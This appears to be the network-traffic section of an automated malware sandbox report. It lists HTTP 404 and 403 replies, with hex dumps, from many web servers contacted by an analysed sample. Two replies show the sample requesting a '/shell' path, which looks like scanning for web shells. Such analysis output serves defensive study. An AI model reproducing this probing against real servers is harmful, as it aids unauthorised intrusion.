Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:36:58 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:36:59 GMTServer: ApacheContent-Length: 65Keep-Alive: timeout=3, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: <h1>Not Found</h1>The requested URL was not found on this server.
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:37:01 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:37:01 GMTContent-Type: text/htmlContent-Length: 212Connection: keep-aliveX-Frame-Options: SAMEORIGINData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 64 78 2d 6c 74 2d 79 64 2d 6a 69 61 6e 67 73 75 2d 7a 68 65 6e 6a 69 61 6e 67 2d 33 2d 32 32 32 2d 31 38 36 2d 35 35 2d 31 33 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>dx-lt-yd-jiangsu-zhenjiang-3-222-186-55-131</center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:37:03 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:37:03 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:37:03 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:37:04 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:37:06 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveVary: Accept-EncodingX-Powered-By: WordOpsX-Frame-Options: SAMEORIGINX-Xss-Protection: 1; mode=blockX-Content-Type-Options: nosniffReferrer-Policy: no-referrer, strict-origin-when-cross-originX-Download-Options: noopenData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:37:06 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Wed, 09 Mar 2022 13:15:31 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: micro_httpdCache-Control: no-cachePragma: no-cacheDate: Wed, 09 Mar 2022 10:37:30 GMTContent-Type: text/htmlConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Wed, 09 Mar 2022 13:37:13 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:07:52 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:37:15 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 12:44:22 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:37:16 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:37:16 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: QWSDate: Wed, 09 Mar 2022 13:37:18 GMTContent-Type: text/htmlContent-Length: 160Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 51 57 53 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>QWS</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:37:19 GMTServer: ApacheVary: Accept-EncodingContent-Length: 203Keep-Alive: timeout=15, max=300Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: QWSDate: Wed, 09 Mar 2022 13:37:19 GMTContent-Type: text/htmlContent-Length: 160Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 51 57 53 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>QWS</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Wed, 09 Mar 2022 13:37:21 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.14.0 (Ubuntu)Date: Wed, 09 Mar 2022 13:37:28 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 09 Mar 2022 13:37:30 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 09 Mar 2022 13:37:31 GMTServer: Apache/2.2.15 (CentOS)WWW-Authenticate: Basic realm="AmeriMerchant - ACAR staging website"Content-Length: 410Keep-Alive: timeout=15, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 31 20 41 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><p>Additionally, a 401 Authorization Requirederror was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>
